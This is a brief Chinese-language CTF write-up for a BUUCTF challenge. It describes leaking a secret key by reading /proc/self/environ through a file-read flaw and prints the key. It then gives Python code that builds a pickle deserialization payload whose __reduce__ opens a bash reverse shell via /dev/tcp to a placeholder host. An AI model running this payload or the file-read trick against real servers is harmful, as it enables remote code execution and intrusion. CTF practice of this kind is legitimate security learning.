最近看到buu上了几个新题拿一个做做
按照提示得到源码
有个SECRET_KEY
还有个文件读取,这边禁用了黑名单,用绝对路径直接读/proc/self/environ试试
找到秘钥
glzjin22948575858jfjfjufirijidjitg3uiiuuh
继续看源码
下面有个反序列化的操作,思路不难了,pickle反序列化RCE
最好全程都在liunx环境下进行
import pickle
from base64 import b64encode
import os
User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system, ("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'",))
})
u = pickle.dumps(User())
print(b64encode(u).decode())